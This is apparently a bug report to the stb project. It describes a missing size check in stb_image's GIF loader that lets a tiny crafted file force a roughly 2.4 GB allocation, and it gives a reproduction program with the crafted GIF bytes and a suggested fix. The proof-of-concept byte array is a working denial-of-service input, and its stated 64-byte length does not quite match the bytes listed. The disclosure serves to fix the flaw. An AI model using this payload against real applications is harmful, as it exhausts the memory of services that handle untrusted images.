stb_image GIF: missing aggregate bounds check on background+history buffers allows ~2.4GB allocation from 64-byte input
stb_image GIF: missing aggregate bounds check allows ~2.4GB allocation from 64-byte file
File: stb_image.h Function: stbi__gif_load_next() Lines: 6790-6795 Related: #1992, #1996 (same root cause, different code path)
Description
In stbi__gif_load_next(), only the out buffer allocation is guarded by
stbi__mad3sizes_valid(). The background and history buffers are allocated
immediately after with no additional size validation:
if (!stbi__mad3sizes_valid(4, g->w, g->h, 0)) // guards 'out' only
return stbi__errpuc("too large", "GIF image is too large");
pcount = g->w * g->h;
g->out = stbi__malloc(4 * pcount); // ✅ protected
g->background = stbi__malloc(4 * pcount); // ❌ unguarded
g->history = stbi__malloc(pcount); // ❌ unguarded
Total allocation = 4*pcount + 4*pcount + pcount = 9*pcount.
With g->w=16384, g->h=16448 (both below STBI_MAX_DIMENSIONS=16777216):
out= 1,077,936,128 bytes (~1.0 GB)background= 1,077,936,128 bytes (~1.0 GB) — unguardedhistory= 269,484,032 bytes (~0.25 GB) — unguarded- Total: ~2.4 GB from a 64-byte input
Reproduction
Build with libFuzzer + ASan, or use directly:
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdio.h>
int main() {
// 64-byte crafted GIF (16384x16448 dimensions)
unsigned char poc[] = {
0x47,0x49,0x46,0x38,0x39,0x61, // GIF89a
0x00,0x40, // width = 16384
0x40,0x40, // height = 16448
0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
0x40,0x40,0x40,0x40,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x4a,0x46,0x01,0x00,0x00
};
int w, h, c;
stbi_uc *img = stbi_load_from_memory(poc, sizeof(poc), &w, &h, &c, 0);
if (img) stbi_image_free(img);
return 0;
}
Result: libFuzzer reports OOM after allocating 2.4 GB.
Impact
Denial of Service — any application using stb_image to process untrusted GIF files can be forced to exhaust system memory with a 64-byte payload.
Suggested Fix
Guard all three allocations against the aggregate size:
// Check that all three allocations together won't exceed safe limits
if (!stbi__mad3sizes_valid(4, g->w, g->h, 0) ||
(size_t)g->w * g->h > (1u << 26)) // 64M pixels max
return stbi__errpuc("too large", "GIF image is too large");
Or add individual checks matching the out pattern.
Discovery
Found via libFuzzer + ASan campaign on stb_image.h. Fuzzer input: 64-byte GIF file (attached as oom artifact). Environment: Ubuntu 24.04 (WSL2), x86_64, clang 21.1.8.
Source: nothings/stb